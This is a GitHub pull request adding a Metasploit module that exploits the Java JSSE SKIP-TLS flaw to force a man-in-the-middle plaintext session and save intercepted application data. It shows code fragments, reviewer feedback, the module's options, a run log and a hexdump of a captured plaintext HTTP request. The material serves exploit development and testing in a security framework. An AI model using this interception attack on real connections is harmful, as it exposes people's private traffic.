Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add jsse_skiptls_mitm_proxy.rb #5513

Merged
merged 5 commits into from
Aug 8, 2015
Merged

Add jsse_skiptls_mitm_proxy.rb #5513

merged 5 commits into from
Aug 8, 2015

Conversation

rcvalle
Copy link
Contributor

@rcvalle rcvalle commented Jun 9, 2015

This module exploits an incomplete internal state distinction in Java Secure Socket Extension (JSSE) by impersonating the server and finishing the handshake before the peers have authenticated themselves and instantiated negotiated security parameters, resulting in a plaintext SSL/TLS session with the client. This plaintext SSL/TLS session is then proxied to the server using a second SSL/TLS session from the proxy to the server (or an alternate fake server) allowing the session to continue normally and plaintext application data transmitted between the peers to be saved. This module requires an active man-in-the-middle attack.

This module exploits an incomplete internal state distinction in Java
Secure Socket Extension (JSSE) by impersonating the server and finishing
the handshake before the peers have authenticated themselves and
instantiated negotiated security parameters, resulting in a plaintext
SSL/TLS session with the client. This plaintext SSL/TLS session is then
proxied to the server using a second SSL/TLS session from the proxy to
the server (or an alternate fake server) allowing the session to
continue normally and plaintext application data transmitted between the
peers to be saved. This module requires an active man-in-the-middle
attack.

print_status('Connected to %s:%d' % [fake_host, fake_port])

server = Socket.new(Socket::AF_INET, Socket::SOCK_STREAM)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This needs to use Rex sockets

@hdm
Copy link
Contributor

hdm commented Jun 16, 2015

@rcvalle This is a really neat submission, but may take some time and tweaking to include into master

@hdm
Copy link
Contributor

hdm commented Jun 16, 2015

msftidy issues:

modules/auxiliary/server/jsse_skiptls_mitm_proxy.rb:64 - [WARNING] Please use snake case on method names: def PRF(secret, label, seed) 
modules/auxiliary/server/jsse_skiptls_mitm_proxy.rb:84 - [WARNING] Please use snake case on method names: def PRF_SHA256(secret, label, se

local_port = datastore['SRVPORT']
port = datastore['PORT']

proxy = TCPServer.new(local_host, local_port)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

It should be a rex socket, shouldn't be?

@jvazquez-r7
Copy link
Contributor

I've reviewed the basics about what the module is trying since I wasn't familiar with the attack.... also I suck on TLS so pls forget if I do dummy questions =).

I did a first straightforward test with a Java client like this:

    try {

       System.out.println("****** Content of the URL ********");            
       BufferedReader br = 
        new BufferedReader(
            new InputStreamReader(con.getInputStream()));

       String input;

       while ((input = br.readLine()) != null){
          System.out.println(input);
       }
       br.close();

    } catch (IOException e) {
       e.printStackTrace();
    }

       }

   }

}

(btw, I'm using Oracle Java 1.7.0_67 for testing).

So I run the mitm module with the next options (I'm not providing a FAKEHOST, I feel that's legit, isn't it?):

msf auxiliary(jsse_skiptls_mitm_proxy) > show options

Module options (auxiliary/server/jsse_skiptls_mitm_proxy):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   FAKEHOST                   no        The fake server address
   FAKEPORT  443              no        The fake server port
   HOST      www.google.com   yes       The server address
   PORT      443              yes       The server port
   SRVHOST   172.16.158.1     yes       The proxy address
   SRVPORT   443              yes       The proxy port


Auxiliary action:

   Name     Description
   ----     -----------
   Service

When trying to use the example it is what I get (I wasn't expecting an exception because of an invalid HTTP response really):

$ java Main
Hello World!
Response Code : -1
****** Content of the URL ********
java.io.IOException: Invalid Http response
    at sun.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method)
    at sun.reflect.NativeConstructorAccessorImpl.newInstance(Unknown Source)
    at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(Unknown Source)
    at java.lang.reflect.Constructor.newInstance(Unknown Source)
    at sun.net.www.protocol.http.HttpURLConnection$6.run(Unknown Source)
    at sun.net.www.protocol.http.HttpURLConnection$6.run(Unknown Source)
    at java.security.AccessController.doPrivileged(Native Method)
    at sun.net.www.protocol.http.HttpURLConnection.getChainedException(Unknown Source)
    at sun.net.www.protocol.http.HttpURLConnection.getInputStream(Unknown Source)
    at sun.net.www.protocol.https.HttpsURLConnectionImpl.getInputStream(Unknown Source)
    at Main.print_content(Main.java:25)
    at Main.main(Main.java:14)
Caused by: java.io.IOException: Invalid Http response
    at sun.net.www.protocol.http.HttpURLConnection.getInputStream(Unknown Source)
    at java.net.HttpURLConnection.getResponseCode(Unknown Source)
    at sun.net.www.protocol.https.HttpsURLConnectionImpl.getResponseCode(Unknown Source)
    at Main.main(Main.java:13)
Bye World!

And in the module:

msf auxiliary(jsse_skiptls_mitm_proxy) >
[*] Listening on 172.16.158.1:443
[*] Accepted connection from 172.16.158.1:443
[*] Connected to www.google.com:443
[*] Connected to www.google.com:443
[*] 177 bytes received
[*] 177 bytes sent
[*] 98 bytes received
[*] 98 bytes sent
[*] 3076 bytes received
[*] 3076 bytes sent
[*] 336 bytes received
[*] 336 bytes sent
[*] 9 bytes received
[*] 21 bytes sent
[*] 158 bytes received
[*] 153 bytes sent
[*] 4096 bytes received
[*] 4100 bytes sent
[*] 4096 bytes received
[*] 4100 bytes sent
[*] 2900 bytes received
[*] 2904 bytes sent
[*] 7 bytes received
[*] 2 bytes sent
[+] SSL/TLS session application data successfully stored in /Users/jvazquez/.msf4/loot/20150804141110_default_172.16.158.1

When I check the contents of the file saved by the module I can see the request in plaintext, so looks like the client is using a plaintext SSL/TLS as announced by the PR. But it's odd to me how the connection with the server is being handled :S Indeed the module isn't recording plaintext server responses, neither returning correct answers to the client (who throws an Exception because of course can't parse the HTTP response). Since the module is announced as mitm it looks unexpected to me. Probably I'm not using it correctly and I'm missing something dummy =) feedback is welcome.

 hexdump -C /Users/jvazquez/.msf4/loot/20150804141110_default_172.16.158.1_tls.application__946013.bin
00000000  47 45 54 20 2f 20 48 54  54 50 2f 31 2e 31 0d 0a  |GET / HTTP/1.1..|
00000010  55 73 65 72 2d 41 67 65  6e 74 3a 20 4a 61 76 61  |User-Agent: Java|
00000020  2f 31 2e 37 2e 30 5f 36  37 0d 0a 48 6f 73 74 3a  |/1.7.0_67..Host:|
00000030  20 77 77 77 2e 67 6f 6f  67 6c 65 2e 63 6f 6d 0d  | www.google.com.|
00000040  0a 41 63 63 65 70 74 3a  20 74 65 78 74 2f 68 74  |.Accept: text/ht|
00000050  6d 6c 2c 20 69 6d 61 67  65 2f 67 69 66 2c 20 69  |ml, image/gif, i|
00000060  6d 61 67 65 2f 6a 70 65  67 2c 20 2a 3b 20 71 3d  |mage/jpeg, *; q=|
00000070  2e 32 2c 20 2a 2f 2a 3b  20 71 3d 2e 32 0d 0a 43  |.2, */*; q=.2..C|
00000080  6f 6e 6e 65 63 74 69 6f  6e 3a 20 6b 65 65 70 2d  |onnection: keep-|
00000090  61 6c 69 76 65 0d 0a 0d  0a 17 03 01 05 5a 6d 47  |alive........ZmG|
000000a0  92 6c cd 23 e7 04 8b 03  f8 5c 9e a1 91 85 b1 8e  |.l.#.....\......|
000000b0  d4 9c 05 cc 02 11 0b a7  5c 8a 20 c5 e8 ba 44 af  |........\. ...D.|
000000c0  6b 5f 3c 0d 70 53 75 b8  69 f2 52 b8 9d 91 b8 44  |k_<.pSu.i.R....D|
000000d0  3c ec cb 1e e7 83 7b 6e  f4 53 fb 45 58 c8 17 51  |<.....{n.S.EX..Q|
000000e0  46 f6 aa 41 d9 b6 0e 82  b0 e2 6d 3c 44 01 a3 46  |F..A......m<D..F|
000000f0  eb c5 45 3d b7 4e 50 9b  fe 23 da c4 2e e5 89 5b  |..E=.NP..#.....[|
00000100  ea 76 7f 0c f6 f2 cd 6a  f3 7a 6f 05 f7 3c 53 6d  |.v.....j.zo..<Sm|
00000110  e6 29 7d b0 1a e7 69 a6  97 d2 2e 59 5d 6b 2f 25  |.)}...i....Y]k/%|
00000120  7f 87 7f 31 3e e6 5a 64  27 1e 83 81 eb 63 eb e3  |...1>.Zd'....c..|
00000130  5b 09 6b dd f7 bd 4b 9f  c1 b6 a9 ac 5f e3 70 11  |[.k...K....._.p.|
00000140  2b 30 c6 05 c6 9c 21 1e  a0 ce 8f 04 cf e6 c8 af  |+0....!.........|
00000150  2f 10 09 a3 d0 73 b4 3e  70 8a 04 5a 72 ed e0 ac  |/....s.>p..Zr...|
00000160  84 bc bc c5 d9 2b 02 04  33 b0 6b 52 e8 44 d9 05  |.....+..3.kR.D..|
00000170  21 59 b1 1e 5b f9 c1 00  59 82 d6 7a d7 af 26 90  |!Y..[...Y..z..&.|
00000180  a5 01 f5 b2 b6 7e 55 99  30 66 ec a2 ec d3 5f c7  |.....~U.0f...._.|
00000190  02 0d 6c 8d 26 59 09 fe  0e 83 55 d8 3c 8d 6e 70  |..l.&Y....U.<.np|
000001a0  7e c8 28 49 6d 1d bb 34  56 f4 5d 3c dd 3e 58 f0  |~.(Im..4V.]<.>X.|
000001b0  d7 d8 3d ea ed 27 66 22  f3 0a 31 71 89 74 86 0e  |..=..'f"..1q.t..|
000001c0  67 80 5a aa 72 4b e0 3a  69 74 b0 dc 1d e3 35 c0  |g.Z.rK.:it....5.|
000001d0  fc f6 57 92 e0 42 7e 16  d4 76 ea 39 ff 98 31 87  |..W..B~..v.9..1.|
000001e0  49 6f 29 3b db 9e 2b 18  2e 32 a0 0d e9 1e a8 c5  |Io);..+..2......|
000001f0  92 c2 30 31 42 8d b6 07  60 1a d8 cf 28 54 ce cc  |..01B...`...(T..|
00000200  5f 0c bb 6c a3 d7 19 31  b4 26 5b 23 0a 18 b0 43  |_..l...1.&[#...C|
00000210  a5 d3 12 2c 8e 29 25 27  c2 8d 15 eb 0a 63 e2 98  |...,.)%'.....c..|
00000220  cd dc 69 a5 e1 d1 b2 fd  9c e2 f0 97 51 97 b1 f6  |..i.........Q...|
00000230  22 1f 6d 21 17 e6 7f de  00 c5 9a ac 9f de ef 30  |".m!...........0|
00000240  f1 c9 fe bf 78 31 40 1c  42 7b 2f f1 9f a3 78 5c  |....x1@.B{/...x\|
00000250  61 37 11 09 09 16 0d e5  f4 96 c3 b2 32 6c a9 a8  |a7..........2l..|
00000260  b5 7f c2 f1 31 f7 d2 e5  e4 79 3c 7b b3 e0 b7 69  |....1....y<{...i|
00000270  bf 29 09 d8 2e eb c5 b0  48 4e 90 11 81 66 fb 2c  |.)......HN...f.,|
00000280  d7 ec 34 8b 63 8b c5 6f  6b b6 3f 93 a1 03 b1 59  |..4.c..ok.?....Y|
00000290  ce 76 0e 14 a6 4a cc f2  a6 59 72 cc d3 12 70 e5  |.v...J...Yr...p.|
000002a0  c1 1f fb fa 41 ff db cd  35 89 38 cc 26 1a 10 22  |....A...5.8.&.."|
000002b0  65 c0 e7 63 5e 18 f1 c5  9c fd a4 26 bd da a9 cd  |e..c^......&....|
000002c0  2d bf 46 dc 69 e4 e3 c9  99 0f fd 27 97 1f be 75  |-.F.i......'...u|
000002d0  b2 77 70 ae 6d 25 28 2b  2e 31 82 d7 d1 ec 75 d1  |.wp.m%(+.1....u.|
000002e0  94 af ca 20 77 3f 49 a7  4d d5 4f 4c ab 3e 10 ba  |... w?I.M.OL.>..|
000002f0  24 4b 66 a9 68 71 71 f0  39 84 c4 78 55 7a 59 43  |$Kf.hqq.9..xUzYC|
00000300  58 a5 65 81 91 6a 44 ff  16 2a 83 92 ef f4 00 c2  |X.e..jD..*......|
00000310  9e 7c 1e c1 58 36 f1 04  92 e7 a5 92 a3 b5 22 f4  |.|..X6........".|
00000320  f1 7e cf 55 f2 cb 71 bf  b3 68 cb 74 56 c1 a4 55  |.~.U..q..h.tV..U|
00000330  82 6e 1c 20 d3 9d 14 1e  e6 16 86 e0 92 59 55 78  |.n. .........YUx|
00000340  ca b3 05 ad 88 65 46 c2  93 d4 d7 2c d9 83 0e b7  |.....eF....,....|
00000350  d8 be b9 6c 4d ad fa 91  af 91 e4 55 63 b0 54 47  |...lM......Uc.TG|
00000360  2e c6 c3 c5 fd 5a 7f b1  f9 f4 3e c2 e6 9b b3 2f  |.....Z....>..../|
00000370  c7 94 c2 c5 be 08 50 e3  f5 dc 1a 8f f2 b4 40 f8  |......P.......@.|
00000380  8f 6f e6 f9 5b 69 37 7b  3c 02 ad 86 2a 37 60 d4  |.o..[i7{<...*7`.|
00000390  1d 5e 44 72 52 fa 5d 4e  1f 52 c3 c8 6a 17 72 46  |.^DrR.]N.R..j.rF|
000003a0  7e 34 ba 50 8a 5a cd b0  59 83 4e d6 e7 94 12 57  |~4.P.Z..Y.N....W|
000003b0  07 d1 ff 02 a8 bb ca 95  67 10 c5 18 2a 70 07 65  |........g...*p.e|
000003c0  e8 90 39 b6 8f 40 96 a6  1c f3 1b 5a d5 be 49 c6  |..9..@.....Z..I.|
000003d0  49 6c 97 22 05 7b da 21  c6 b4 55 15 66 99 a6 4a  |Il.".{.!..U.f..J|
000003e0  09 2c 9f 95 ce 01 9c 88  77 76 ce 8a f6 c3 ee 4a  |.,......wv.....J|
000003f0  28 62 3e 05 6d b9 bb 2e  dc e2 02 f6 08 89 48 93  |(b>.m.........H.|
00000400  97 ee fa 47 c9 dc ca 6e  64 ed 46 39 77 cf 63 0d  |...G...nd.F9w.c.|
00000410  4a 52 05 7d 2b 1b 70 f3  e4 8f 00 ee 30 7e 67 fa  |JR.}+.p.....0~g.|
00000420  3d 21 da ec 29 00 78 09  5c b8 cc df 28 cd ee 64  |=!..).x.\...(..d|
00000430  0d 2d 77 e1 6b eb 82 08  23 11 c0 bd ff 0b 3a 11  |.-w.k...#.....:.|
00000440  76 e4 14 4b b3 8e f1 93  09 ef f1 05 d6 98 fb 32  |v..K...........2|
00000450  f0 dd 7f 20 5a d4 c0 b5  48 27 85 f4 96 64 ec 0b  |... Z...H'...d..|
00000460  7d 57 49 3e e8 be c7 8f  17 b3 29 0d 40 9a a8 7f  |}WI>......).@...|
00000470  3f 92 45 d9 e1 36 d4 6b  bf 4f 2a a4 79 c0 44 7c  |?.E..6.k.O*.y.D||
00000480  d4 b8 bd 32 ec dc f5 ae  c1 97 7d b0 be a7 60 06  |...2......}...`.|
00000490  b2 b1 e7 dc e2 dd 20 31  9a 6e 56 59 c1 7a ef 74  |...... 1.nVY.z.t|
000004a0  80 e6 be 68 7a fc 69 2a  3e fa b3 46 07 87 4c 93  |...hz.i*>..F..L.|
000004b0  2b 53 ae e4 fa c3 a9 6b  f8 78 8a f0 ef c1 dc ca  |+S.....k.x......|
000004c0  1e 22 79 f3 76 7a bf ca  46 e5 df 3b ee 75 d5 5b  |."y.vz..F..;.u.[|
000004d0  1e 7a c9 30 c1 dc 81 46  30 f1 9c 05 c3 d5 80 e4  |.z.0...F0.......|
000004e0  b9 f9 85 9a e6 78 2a eb  dc 81 8f e7 2d 78 6a c7  |.....x*.....-xj.|
000004f0  36 67 29 ed fc 44 9e 1b  0b a4 2f 4a 1b f6 6c 5c  |6g)..D..../J..l\|
00000500  9d 23 2b 3a bc 17 9d 6f  13 42 ba 57 00 f4 62 89  |.#+:...o.B.W..b.|
00000510  70 8b 84 79 1e 7a 5b 03  03 08 ca 68 5e ba a5 c1  |p..y.z[....h^...|
00000520  21 01 cc 36 e5 7c 3e 93  6c d1 89 7e 28 41 ac f6  |!..6.|>.l..~(A..|
00000530  c3 7f b2 bb f1 33 b7 c8  c3 c8 95 2f b1 f6 16 77  |.....3...../...w|
00000540  7e 71 7b c9 c4 1b 76 7e  55 85 df 3c 25 1f c3 9a  |~q{...v~U..<%...|
00000550  ce 51 f1 88 ad fe 01 21  8f 5c 4c 3e 7f 26 18 58  |.Q.....!.\L>.&.X|
00000560  0e f4 a5 4a f5 9b 6a 36  56 ef e9 f3 1c 51 85 ce  |...J..j6V....Q..|
00000570  ab 16 ca de 12 27 03 e7  ef e1 e4 5c 47 c5 d0 1e  |.....'.....\G...|
00000580  6b 44 01 c9 0f 28 bd 26  12 67 30 cc e7 f2 a8 47  |kD...(.&.g0....G|
00000590  07 60 96 d6 b7 30 1b 6e  85 ec 20 91 bb d8 78 6c  |.`...0.n.. ...xl|
000005a0  19 66 b0 64 cb ff 99 72  93 eb 77 8e 8a 31 73 ba  |.f.d...r..w..1s.|
000005b0  50 f9 d4 a9 49 2f d6 cf  d0 45 19 ed 5f a6 72 ac  |P...I/...E.._.r.|
000005c0  13 21 c0 95 d4 f0 2c 5a  da 00 34 22 33 da e0 15  |.!....,Z..4"3...|
000005d0  a1 a8 f3 82 5b 64 98 d0  70 4a 0d b5 90 9d 9e ff  |....[d..pJ......|
000005e0  57 54 45 f5 56 53 29 27  69 cf 3d ae a6 72 eb 82  |WTE.VS)'i.=..r..|
000005f0  2c 73 38 a2 42 e7 93 65  17 03 01 05 5a 64 93 e8  |,s8.B..e....Zd..|
00000600  c3 f9 8f aa c6 29 b3 d4  96 05 41 c4 7f 83 f4 68  |.....)....A....h|
00000610  df c4 7b 48 79 0c ee 7a  97 d5 16 ca f1 6d c6 ea  |..{Hy..z.....m..|
00000620  c1 da b0 5f 44 5f 7d d7  41 32 68 79 5b 88 5e cd  |..._D_}.A2hy[.^.|
00000630  16 4a 20 fd 51 0b a7 f0  bf 18 c1 b5 9d 73 d9 9d  |.J .Q........s..|
00000640  33 dd 70 ae 33 4b b3 0f  9f 71 df 7d 64 2b d8 b8  |3.p.3K...q.}d+..|
00000650  e9 4e e1 67 ce 1c 0c 69  c2 b7 ba f7 3c 19 f6 6c  |.N.g...i....<..l|
00000660  96 b8 64 fa 32 11 da e1  31 ef 99 ab 54 30 ad 1b  |..d.2...1...T0..|
00000670  ea e2 93 bb 7a 61 57 55  bb 99 31 c6 18 f4 b4 08  |....zaWU..1.....|
00000680  eb 5d 5e 0a 29 42 6b 35  79 8e d3 99 08 5c 9d 69  |.]^.)Bk5y....\.i|
00000690  1b 8c 1d 43 64 5d 92 f1  e6 1e 01 7b 4c 83 ff 63  |...Cd].....{L..c|
000006a0  1f 87 0b 66 dc c1 5f fc  09 8e da 47 46 72 b4 0a  |...f.._....GFr..|
000006b0  6f 4e f4 54 95 3d f5 46  2e 16 28 f9 ab 9b fd 7e  |oN.T.=.F..(....~|
000006c0  5d a6 73 c9 cd 92 2a 61  d2 5b 22 5f 98 21 1c e1  |].s...*a.["_.!..|
000006d0  d3 c7 ec f3 f9 91 3d 4a  75 e8 8e c1 76 09 73 5c  |......=Ju...v.s\|
000006e0  75 cb 74 18 36 12 97 0e  13 7d 1c 75 bd bb f1 42  |u.t.6....}.u...B|
000006f0  52 9d 52 6f 80 b2 71 5a  66 08 73 5d a1 c1 9b 9a  |R.Ro..qZf.s]....|
00000700  ee 54 7f ae c9 1d 5d d2  35 a1 00 aa 02 e2 0c 43  |.T....].5......C|
00000710  a5 f1 f7 61 00 7b d4 45  a3 00 29 79 d9 65 4d b5  |...a.{.E..)y.eM.|
00000720  f9 c2 97 c7 61 f9 3b 2f  69 22 a9 39 9f ea a4 d5  |....a.;/i".9....|
00000730  27 72 f8 34 2d 00 de 07  c5 de cc 12 27 f2 00 9c  |'r.4-.......'...|
00000740  a1 a3 74 cc 89 2e a8 8d  39 46 3c 0b 33 72 bb f3  |..t.....9F<.3r..|
00000750  d9 fc 02 43 28 14 4e 7c  50 a7 1f 14 4f 6e 4d 52  |...C(.N|P...OnMR|
00000760  37 4a e1 d9 c4 ea fa 45  fb 6e 45 61 18 cd 69 ec  |7J.....E.nEa..i.|
00000770  28 f2 51 91 10 8d 82 d5  0f 11 4b ab 1e f4 62 86  |(.Q.......K...b.|
00000780  40 aa 18 30 f2 28 19 37  6f 1b e7 ba ca f3 de 85  |@..0.(.7o.......|
00000790  e7 1c c5 1b 54 54 59 2d  e1 a0 a3 76 dc 28 78 db  |....TTY-...v.(x.|
000007a0  15 8e 21 22 47 e5 24 99  c3 2d 8d 01 60 7d 88 55  |..!"G.$..-..`}.U|
000007b0  ac 4b 40 a6 19 6b 6b dd  99 b0 1f 2b ff b6 45 d6  |.K@..kk....+..E.|
000007c0  5a 93 ff 7e 3b be 26 12  05 9b ee 9b 5d eb fc 7d  |Z..~;.&.....]..}|
000007d0  d6 e6 f7 85 e5 de ad e7  11 45 22 c8 d9 6f 89 30  |.........E"..o.0|
000007e0  dd 6f c6 35 42 e0 29 d1  c1 af b0 6a 9a 23 c4 b9  |.o.5B.)....j.#..|
000007f0  6e 79 94 70 24 33 f1 b5  6c 23 a6 e4 9a 64 a3 3d  |ny.p$3..l#...d.=|
00000800  2c 70 6c 73 28 4b 24 a2  c5 74 5b 0f 6b c5 7c 8a  |,pls(K$..t[.k.|.|
00000810  82 ba 2c 1f 5f 06 e6 14  3d 64 29 1b 33 e3 4b 26  |..,._...=d).3.K&|
00000820  e4 0b 55 35 5d 1e b4 28  be 86 41 e1 eb df 7f 9b  |..U5]..(..A.....|
00000830  7d f1 7c a6 83 10 42 98  1a f7 68 c2 55 04 c8 f5  |}.|...B...h.U...|
00000840  b5 43 23 75 f8 d8 24 c3  9b c2 66 2d d6 64 12 a8  |.C#u..$...f-.d..|
00000850  32 5b 1e 4b 0e 2f 68 df  15 03 3c 6f 0b 20 af 9a  |2[.K./h...<o. ..|
00000860  5f d0 a6 49 33 c9 1e c4  53 f6 ce f6 c1 c8 c9 02  |_..I3...S.......|
00000870  ba 93 0b 97 b1 f2 d9 ce  63 8d d3 e5 1e 4d 7b 8c  |........c....M{.|
00000880  2e cf 76 a4 15 f9 f3 14  58 2a a0 d5 bc 69 f5 de  |..v.....X*...i..|
00000890  14 4c 54 96 83 bf 9c f0  a7 22 9e dc ab 85 fc c5  |.LT......"......|
000008a0  c2 e3 0f 01 25 fc a5 ba  71 27 3a df b7 91 ad 6b  |....%...q':....k|
000008b0  4a e2 09 53 59 46 17 33  ee e4 7a 19 4d d4 aa 1a  |J..SYF.3..z.M...|
000008c0  5e 91 2a de 48 50 af 66  79 d8 14 22 68 b0 e0 ee  |^.*.HP.fy.."h...|
000008d0  31 a8 64 bf d8 fb 33 21  22 79 1b 0f 22 e9 4c e5  |1.d...3!"y..".L.|
000008e0  66 ca 09 e9 4f 78 c3 1c  d4 d9 67 d0 4f 25 38 84  |f...Ox....g.O%8.|
000008f0  42 bd 54 55 6f 40 04 6c  cd c3 fb f3 33 2b 42 04  |B.TUo@.l....3+B.|
00000900  24 b1 e4 72 fb a8 c5 58  88 3c 4d 1f ba 7b c6 56  |$..r...X.<M..{.V|
00000910  45 22 c8 81 42 48 ff 51  3c 20 6f cf fb 24 d7 db  |E"..BH.Q< o..$..|
00000920  bd 57 d0 ff 21 18 e2 86  b8 51 df b9 e4 95 74 c7  |.W..!....Q....t.|
00000930  70 b5 24 b1 7f 3c 37 ce  c3 9f a9 04 6d f9 27 96  |p.$..<7.....m.'.|
00000940  25 2a 47 1f 85 86 13 86  c3 41 94 d9 ca 02 1f 38  |%*G......A.....8|
00000950  57 d9 94 ae 17 2a 1d d8  e9 d9 d8 85 5f 80 17 fd  |W....*......_...|
00000960  0f 14 20 a3 f3 c8 f3 a5  28 93 88 c0 f1 65 27 80  |.. .....(....e'.|
00000970  96 80 e6 c4 4f 8a 1e ff  4c ba c1 23 20 00 2a 7c  |....O...L..# .*||
00000980  89 ce 50 98 a7 92 80 3d  f9 c1 8a 3d 61 10 55 c4  |..P....=...=a.U.|
00000990  a2 9e 34 72 ca aa db ad  f3 36 bb e2 90 8e 24 47  |..4r.....6....$G|
000009a0  43 e2 40 9f 61 56 48 04  10 30 ab 21 24 c0 ae c0  |C.@.aVH..0.!$...|
000009b0  57 10 d1 84 16 2c f3 17  7a 16 2a 79 01 8e 62 08  |W....,..z.*y..b.|
000009c0  11 8e e1 cb 32 9a 9b 25  61 91 96 6a 4e 0f 0f 38  |....2..%a..jN..8|
000009d0  36 4a e5 d0 0b 0a c2 83  e2 9d fc a3 f1 05 93 51  |6J.............Q|
000009e0  34 46 f4 ac c3 fc 99 1b  69 13 ee b1 2d c8 65 27  |4F......i...-.e'|
000009f0  29 66 ce bb d9 54 52 2d  11 17 f0 b7 25 a1 67 a4  |)f...TR-....%.g.|
00000a00  5d 40 37 f3 6b 07 ff dd  96 79 2b 25 6c 46 52 fa  |]@7.k....y+%lFR.|
00000a10  7b dd c5 28 13 e0 69 63  dc ee 94 ca cf 8c 6e 87  |{..(..ic......n.|
00000a20  46 6b 28 4d 03 64 b8 84  78 b1 d2 8c 9b 5b eb f2  |Fk(M.d..x....[..|
00000a30  60 a5 6c 9d a2 a1 82 c8  2f 31 13 24 a3 b2 8d 7f  |`.l...../1.$....|
00000a40  1f ba 54 c1 91 21 7d 15  56 b2 4b 57 ed b1 fa ec  |..T..!}.V.KW....|
00000a50  fd d9 d5 94 c7 a8 15 0f  c4 46 2c 80 06 20 eb 41  |.........F,.. .A|
00000a60  3e 6b 7e b2 9f 1b 5c 9d  63 b4 05 30 db 2c ba 6b  |>k~...\.c..0.,.k|
00000a70  85 2d 49 76 87 50 5c 09  69 51 d9 0b be 29 f0 97  |.-Iv.P\.iQ...)..|
00000a80  f1 b1 d1 36 23 1a 6c f6  1e e8 73 92 8b dc 07 10  |...6#.l...s.....|
00000a90  28 6b fc 80 4c 9b f0 22  04 f6 a4 9b 8d 7d 33 75  |(k..L..".....}3u|
00000aa0  5b df 0c a8 5a b5 0b ce  5f 5e 91 bc c5 0c 05 d2  |[...Z..._^......|
00000ab0  3f 77 95 6d 5e 65 b9 a6  16 14 92 a1 83 a2 45 48  |?w.m^e........EH|
00000ac0  39 05 28 8d 7e 4a 07 95  ca 5b b6 5d 55 bf 73 6f  |9.(.~J...[.]U.so|
00000ad0  a0 13 b9 85 68 28 9a 64  de 91 32 4f 07 90 20 d2  |....h(.d..2O.. .|
00000ae0  ae 78 7e a5 83 74 f4 62  c7 61 ca 7e de ab 0c 07  |.x~..t.b.a.~....|
00000af0  39 35 9c 12 f3 8a 5d 67  2d 92 b9 b3 91 f3 69 0a  |95....]g-.....i.|
00000b00  e4 16 b9 9c b0 03 e0 a0  cc 03 b0 c9 58 29 74 23  |............X)t#|
00000b10  a4 6a cc c5 26 74 db 50  07 c0 08 b2 a3 c7 6a cf  |.j..&t.P......j.|
00000b20  fa f0 06 87 32 57 4b 9b  b9 42 2a 20 b3 38 2d c5  |....2WK..B* .8-.|
00000b30  5c 4a f2 8a 77 1e fe ac  c6 1a 63 7e e0 68 9c 5d  |\J..w.....c~.h.]|
00000b40  c1 49 a4 98 6f 82 da f1  a0 9b 35 e8 80 64 27 a2  |.I..o.....5..d'.|
00000b50  50 cb 71 31 b1 63 a6 17  03 01 05 5a 27 53 01 9b  |P.q1.c.....Z'S..|
00000b60  34 99 cd d1 cc 20 28 47  f0 f9 4c c5 6c 40 ca a5  |4.... (G..L.l@..|
00000b70  66 b2 02 b1 c5 59 a0 b9  f0 ec 60 a9 04 16 3e 04  |f....Y....`...>.|
00000b80  12 e1 02 07 33 71 60 5b  0a 69 b2 a3 bf 05 b6 3e  |....3q`[.i.....>|
00000b90  ac 60 8b aa a7 dc 5b 03  ac ec c7 e2 11 78 38 63  |.`....[......x8c|
00000ba0  3b 5f 8b ad d3 80 9e ae  b2 79 79 7d 82 2a 09 a9  |;_.......yy}.*..|
00000bb0  7d a1 74 50 32 00 c6 bb  d2 bf 21 d5 6b 77 80 27  |}.tP2.....!.kw.'|
00000bc0  ee 27 e7 00 fc 53 e6 51  69 14 88 0f 83 fe 44 6f  |.'...S.Qi.....Do|
00000bd0  28 68 ab 8f e7 bc cf ca  4e d6 8b a4 94 dd ac 4f  |(h......N......O|
00000be0  02 40 f4 e1 1c 8c 5d f6  5d 81 a5 89 80 01 08 a1  |.@....].].......|
00000bf0  e6 24 95 a3 95 a4 00 50  4e b5 35 e3 40 20 f2 96  |.$.....PN.5.@ ..|
00000c00  5b f8 c1 95 5e 44 de 5a  c1 66 33 cd 3f df 32 6e  |[...^D.Z.f3.?.2n|
00000c10  74 89 3b 45 c3 2e ad c6  ce 34 28 03 6a 0f b1 05  |t.;E.....4(.j...|
00000c20  fa 90 35 d7 cb f9 ec 95  f2 52 c2 93 8a df 78 46  |..5......R....xF|
00000c30  7b 92 f7 08 44 2b f3 0e  25 25 d1 f6 5a 64 5b c3  |{...D+..%%..Zd[.|
00000c40  08 cf 19 23 4f b7 49 41  2a 43 f4 91 f8 b8 5c 30  |...#O.IA*C....\0|
00000c50  b8 d3 8c 95 cc fa f6 74  12 fd 72 9c 32 c9 61 62  |.......t..r.2.ab|
00000c60  d7 fc 06 52 bd fa 62 c0  9f 01 1b 0b da b6 9d a4  |...R..b.........|
00000c70  d7 cf af fe 3b 0a ec 98  fb c5 70 69 45 eb 47 38  |....;.....piE.G8|
00000c80  8e 87 33 0b 26 81 59 a3  54 a7 33 81 05 71 8e 34  |..3.&.Y.T.3..q.4|
00000c90  36 01 ef 58 44 ec d8 a9  66 cb eb e8 1d d9 92 7d  |6..XD...f......}|
00000ca0  e1 a0 16 f6 b6 8f 5f 33  8f 83 06 8c e6 e4 11 99  |......_3........|
00000cb0  50 d9 31 1d 07 7a 33 6f  eb c1 b9 0b 03 fc 07 84  |P.1..z3o........|
00000cc0  8e 08 8c a9 18 8d bf 80  ff b6 38 65 e9 3a e9 1f  |..........8e.:..|
00000cd0  d3 cf 5c d7 88 88 5e 7a  f6 7c 9c 6e 29 30 fe fa  |..\...^z.|.n)0..|
00000ce0  b6 85 08 da 72 dd 74 ea  f1 9b 5d 2b 13 61 89 9c  |....r.t...]+.a..|
00000cf0  ef 27 24 ea 43 63 bd 75  0f 9f fb 91 45 40 fa f9  |.'$.Cc.u....E@..|
00000d00  b0 34 61 cc 95 92 59 1a  14 05 c1 3e bf f5 4f c5  |.4a...Y....>..O.|
00000d10  72 f1 25 2b 70 5a cc 29  5b 0d 6f 69 8a f6 5b c1  |r.%+pZ.)[.oi..[.|
